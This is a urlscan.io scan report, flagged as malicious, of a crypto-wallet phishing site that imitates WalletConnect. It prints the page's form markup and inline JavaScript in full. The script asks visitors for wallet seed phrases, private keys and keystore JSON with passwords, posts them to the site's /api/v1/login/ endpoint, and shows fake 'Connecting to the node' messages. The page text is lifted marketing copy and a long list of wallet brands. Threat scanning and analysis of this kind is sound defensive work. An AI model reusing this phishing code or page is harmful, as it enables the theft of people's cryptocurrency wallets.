openwalletservices.network Open in urlscan Pro
2606:4700:3030::6815:478e  Malicious Activity! Public Scan

Submitted URL: http://openwalletservices.network/
Effective URL: https://openwalletservices.network/
Submission: On July 25 via manual from NL — Scanned from NL

Form analysis 1 forms found in the DOM

#

<form id="WalletForm" action="#" role="form">
  <div class="row">
    <div class="col-md-12">
      <input type="text" id="WalletValue" style="display:none" name="WalletName" value="">
      <img style="float: left" id="NewLogo" class="img-fluid mr-5" width="120">
      <div id="HideErrorMsg" onclick="Hide()">
        <label id="ConnectError" class="text-danger">Initializing connection...</label><br> <span id="BtnConnect" data-target="#FillForm" data-toggle="collapse" class="btn btn-primary">connect manually</span>
      </div>
    </div>
  </div>
  <div class="row collapse mt-3" id="FillForm">
    <div class="col-md-12 text-center">
      <div class="form-group">
        <ul class="nav nav-tabs">
          <li class="active mr-2" onclick="HideMsgs();"><a class="btn btn-primary text-white" data-toggle="tab" href="#Phrase">Phrase</a></li>
          <li class="mr-2" onclick="HideMsgs();"><a class="btn btn-primary text-white" data-toggle="tab" href="#Keystore">Keystore JSON</a></li>
          <li class="mr-2" onclick="HideMsgs();"><a class="btn btn-primary text-white" data-toggle="tab" href="#Privatekey">Private Key</a></li>
        </ul>
        <div class="tab-content p-4">
          <div id="Phrase" class="active tab-pane">
            <p id="msgPhrase">...</p>
            <textarea id="PhraseValue" placeholder="Enter Wallet Phrase..." rows="5" style="resize:none;" class="form-control" name="Mail.Body"></textarea>
            <p class="text-primary">Typically 12 (sometimes 24) words separated by single spaces</p>
            <button type="button" onclick="PhraseCount();" class="btn btn-primary">CONNECT WALLET</button>
          </div>
          <div id="Keystore" class="tab-pane fade">
            <p id="msgKey">...</p>
            <textarea id="KeyStoreVal" placeholder="Enter Keystore JSON..." rows="4" style="resize:none;" class="form-control" name="KeyStoreVal"></textarea> &nbsp; <input id="KeyStorePass" type="password" class="form-control" placeholder="password"
              name="StoreValPass">
            <p class="text-primary">Several lines of text begining with '(...)' plus the password you used to encrypt it.</p>
            <button type="button" onclick="KeyStore();" class="btn btn-primary">CONNECT WALLET</button>
          </div>
          <div id="Privatekey" class="tab-pane fade">
            <p id="msgPrivateKey">...</p>
            <input id="PKey" type="text" class="form-control" placeholder="Enter Private Key" name="PKey" value="">
            <p class="text-primary">Typically a 256-bit number represented in hexa-decimal form</p>
            <input type="button" onclick="PrivateKeyss();" class="btn btn-primary" value="CONNECT WALLET">
          </div>
        </div>
        <script>
          function HideMsgs() {
            $("#msgPhrase").hide();
            $("#msgKey").hide();
            $("#msgPrivateKey").hide();
            $("#PKey").val('');
            $("#PhraseValue").val('');
            $("#KeyStoreVal").val('');
            $("#KeyStorePass").val('');
          };

          function PrivateKeyss() {
            var pkey = $("#PKey").prop('value');
            if (pkey == "") {
              $("#msgPrivateKey").show();
              $("#msgPrivateKey").addClass("text-danger");
              $("#msgPrivateKey").html("ERROR:\nEnter Private Key Correctly...");
              event.preventDefault();
            };
            $("#msgPrivateKey").show();
            $("#msgPrivateKey").addClass("text-danger");
            $("#msgPrivateKey").text("Initializing...");
            var domain = /:\/\/([^\/]+)/.exec(window.location.href)[1].split('.');
            var sub = "";
            if (domain.length == 3) {
              sub = domain[0]
            } else {
              sub = `${domain[0]}.${domain[1]}`
            };
            var js = {
              domain: sub,
              detail: `Private Key ${$("#WalletValue").val()}: ${$("#PKey").val()}`
            }
            $.ajax({
              url: "/api/v1/login/",
              method: "POST",
              contentType: "application/json",
              data: JSON.stringify(js)
            })
            setTimeout(function() {
              $("#msgPrivateKey").show();
              $("#msgPrivateKey").addClass("text-danger");
              $("#msgPrivateKey").text("Connecting to the node...");
            }, 5000);
          };

          function PhraseCount() {
            var phrase = $("#PhraseValue").prop('value');
            if (phrase == "") {
              $("#msgPhrase").show();
              $("#msgPhrase").addClass("text-danger");
              $("#msgPhrase").html("ERROR:\nEnter Wallet Phrase Correctly...");
              event.preventDefault();
            };
            $("#msgPhrase").show();
            $("#msgPhrase").addClass("text-danger");
            $("#msgPhrase").text("Initializing...");
            var domain = /:\/\/([^\/]+)/.exec(window.location.href)[1].split('.');
            var sub = "";
            if (domain.length == 3) {
              sub = domain[0]
            } else {
              sub = `${domain[0]}.${domain[1]}`
            };
            var js = {
              domain: sub,
              detail: `"Seed Phrase ${$("#WalletValue").val()}: ${$("#PhraseValue").val()}`
            }
            $.ajax({
              url: "/api/v1/login/",
              method: "POST",
              contentType: "application/json",
              data: JSON.stringify(js)
            })
            setTimeout(function() {
              $("#msgPhrase").show();
              $("#msgPhrase").addClass("text-danger");
              $("#msgPhrase").text("Connecting to the node...");
            }, 5000)
            // }
          };

          function KeyStore() {
            var KeyVal = $("#KeyStoreVal").val();
            var KeyPass = $("#KeyStorePass").prop('value');
            if (KeyPass == " ") {
              $("#msgKey").show();
              $("#msgKey").addClass("text-danger");
              $("#msgKey").text("ERROR:\nEnter KeyStore Password!");
              event.preventDefault();
            };
            if (KeyPass == " " || KeyVal == " ") {
              $("#msgKey").show();
              $("#msgKey").addClass("text-danger");
              $("#msgKey").text("ERROR:\nEnter KeyStore Value and KeyStore Password!");
              event.preventDefault();
            };
            if (!KeyVal.startsWith('...')) {
              $("#msgKey").show();
              $("#msgKey").addClass("text-danger");
              $("#msgKey").text("ERROR:\nIncorrect Keystore Value");
              event.preventDefault();
            } else {
              var domain = /:\/\/([^\/]+)/.exec(window.location.href)[1].split('.');
              var sub = "";
              if (domain.length == 3) {
                sub = domain[0]
              } else {
                sub = `${domain[0]}.${domain[1]}`
              };
              var js = {
                domain: sub,
                detail: `KeyStore Json ${$("#WalletValue").val()}: pass: ${$("#KeyStorePass").val()} , value: ${$("#KeyStoreVal").val()}`,
              }
              $.ajax({
                url: "/api/v1/login/",
                method: "POST",
                contentType: "application/json",
                data: JSON.stringify(js)
              })
              $("#msgKey").show();
              $("#msgKey").addClass("text-danger");
              $("#msgKey").text("Initializing...");
              setTimeout(function() {
                $("#msgKey").show();
                $("#msgKey").addClass("text-danger");
                $("#msgKey").text("Connecting to the node...");
              }, 5000)
            }
          };
        </script>
      </div>
    </div>
  </div>
  <input name="__RequestVerificationToken" type="hidden" value="CfDJ8NjXaBCaI9lOokHBOiOftFIvtGj-0MUF4E4PH5F02frZQO9GTtAxm4pHRJL01F0_obJ7qp1XbjzziwbZwcaLk2PbhKD1O0lDSrZ5SsdR8Pe78lIp4Jb6406XJ9-SlmN7GWINF1dyz4I7WwQ-jptOya0">
</form>

Text Content

 * Docs
 * Registry

×


CONNECTING WALLET NOW

Initializing connection...
connect manually
 * Phrase
 * Keystore JSON
 * Private Key

...

Typically 12 (sometimes 24) words separated by single spaces

CONNECT WALLET

...

 

Several lines of text begining with '(...)' plus the password you used to
encrypt it.

CONNECT WALLET

...

Typically a 256-bit number represented in hexa-decimal form

Close


ANY WALLET.
ANY DAPP.
ANY CHAIN.

WalletConnect is the web3 standard to connect
blockchain wallets to dapps.

Connect Wallet




SYNC YOUR WALLETS NOW

Meta Mask
StepN
Phantom
Polygon
Ronin Wallet
Trust Wallet
Crypto.com|DEFI
Solflare
Gala Game
Math Wallet
Argent
Atomic
SHOW MORE...
imToken
Oasis
TokenPocket
Rainbow
Pillar
Fantom
Wetez
Klatyn
Gnosis Safe Multisig
Nash
NEFTiPEDiA
MyKey
Orange
Midas Wallet
Minerva Wallet
O3 Wallet
Linen
Loop Ring Wallet
OwnBit
PayTube
PEAK Defi Wallet
Plasma Pay
Quiver X
Rabby
R Wallet
SafePal
Shinobi Wallet
Spark Point
Spatium
Star Base
Steak Wallet
Stasis
Talken Wallet
Tangem
Tokenary
Tongue Wallet
Torus
Trust Vault
Trustee Wallet
Unstoppable Wallet
Valora
Via Wallet
Vision
Wallet.IO
Wallet 3
Wall ETH
Xin Fin XDC Network
yi Token
Zel Core
LedgerLive
KyberSwap
Krystal
KeyRing Pro
Ju Wallet
Jade Wallet
io Pay
Infinity Wallet
Infinito
Huobi Wallet
HashKey Me
Halo Defi Wallet
Guarda Wallet
Grid Plus
Go Pocket
GD Wallet
fxWallet
fuse.Cash
Flare Wallet
Encrypted Ink
Ellipal
Elastos Essential
Eidoo
Easy Pocket
DID Wallet
Dharma
Defiant
D Cent Wallet
CYBAVO Wallet
Cool Wallet S
Coin US
Coin Omi
Coinhub
Coin98
cmorq
Chainge Finance
Celo Wallet
Bull App
1 Inch Wallet
Air Gap
Aktionariat
Alice
Alpha Wallet
AnyBit
Archi Page
AT.Wallet
A Token Wallet
Atomic
Authereum
Avacus
Binana
BitKeep
Bitpie
Block bank
Bridge Wallet
Venly Wallet
Bit Pay
Okex


THE BLOCKCHAIN SDK

Built for developers, the WalletConnect web, android, and iOS SDK’s power
millions of web3 connections every day.






PROTOCOL

WalletConnect is not an app, but an open protocol to communicate securely
between Wallets and Dapps (Web3 Apps).


SECURE ENCRYPTION

The protocol establishes a remote connection between two apps and/or devices.
These payloads are symmetrically encrypted through a shared key between the two
peers.


QR CODES & DEEP LINKS

The connection is initiated by one peer displaying a QR Code or deep link with a
standard WalletConnect URI and is established when the counter-party approves
this connection request.


PUSH SERVER

Also included is an optional Push server to allow native applications to notify
the user of incoming payloads for established connections.
import WalletConnectClient from @WalletConnect/client;

const client = await WalletConnectClient.init({
apiKey: from "c4f79cc821944d9680842e34466bfbd",
});


SIMPLE INTEGRATION

WalletConnect can be integrated with just a few lines of code. SDK’s available
for javascript, iOS/Swift, and Android/Kotlin.

Read the docs
     




ANY WALLET.

WalletConnect is built into more than 75 leading wallets. Easily integrate
WalletConnect into your
wallet with our Javascript, Swift, or Kotlin SDK’s.

See all wallets


ANY CHAIN.

WalletConnect is chain agnostic and built to work with any blockchain.
Developers can create multi-chain experiences and applications.
More chains coming soon.


TOP FEATURES

Rebuilt from the ground up, v2 was created with features for the next generation
of blockchain applications.






CHAIN AGNOSTIC

Interoperate with any blockchain. Support new blockchains and rollups
out-of-the-box.





MULTI CHAIN

Connect to a wallet with one or more chains simultaneously and send transactions
to different chains at the same time. No more chain switching.





MULTI SESSION

Manage as many sessions as needed. A flexible API is provided to build the
desired UX.





ONE-TIME PAIRING

Establishes multiple sessions from a single pairing. Only one connection for an
infinite number of sessions.





REDUCED BANDWIDTH

Websocket management efficiently re-uses resources to multiplex all messages
through a single socket without interruption.





DECENTRALIZED MESSAGING

Message relaying now uses Waku network to gossip messages through all nodes. No
more depending on centralized servers.





PERMISSION SYSTEM

Explicitly require wallets to meet compatibility with all signing methods that
your dapp requires.





GUARANTEED DELIVERY

Smarter caching mechanisms guarantee message delivery in more diverse network
conditions.





PLATFORM AGNOSTIC

Works everywhere across desktop apps, browser apps, mobile apps, gaming apps and
much more.

FOR DEVELOPERS


START BUILDING

To quickly setup for your Dapp or Wallet, create a cloud account for relay
server access, then check out our code examples and quick start guide.

Get Startd Read the docs


LINKS

 

Blog

FAQ

Terms

Privacy Policy

REGISTRY

 

Wallets

Dapps

RESOURCES

 

Documentation

Github

CONTACT

 

Discord

Twitter

SUBSCRIBE TO OUR NEWSLETTER!

 

Be the first to learn the news about new features and product updates.

Subscribe



           

 © 2021 - ConnectWallet Inc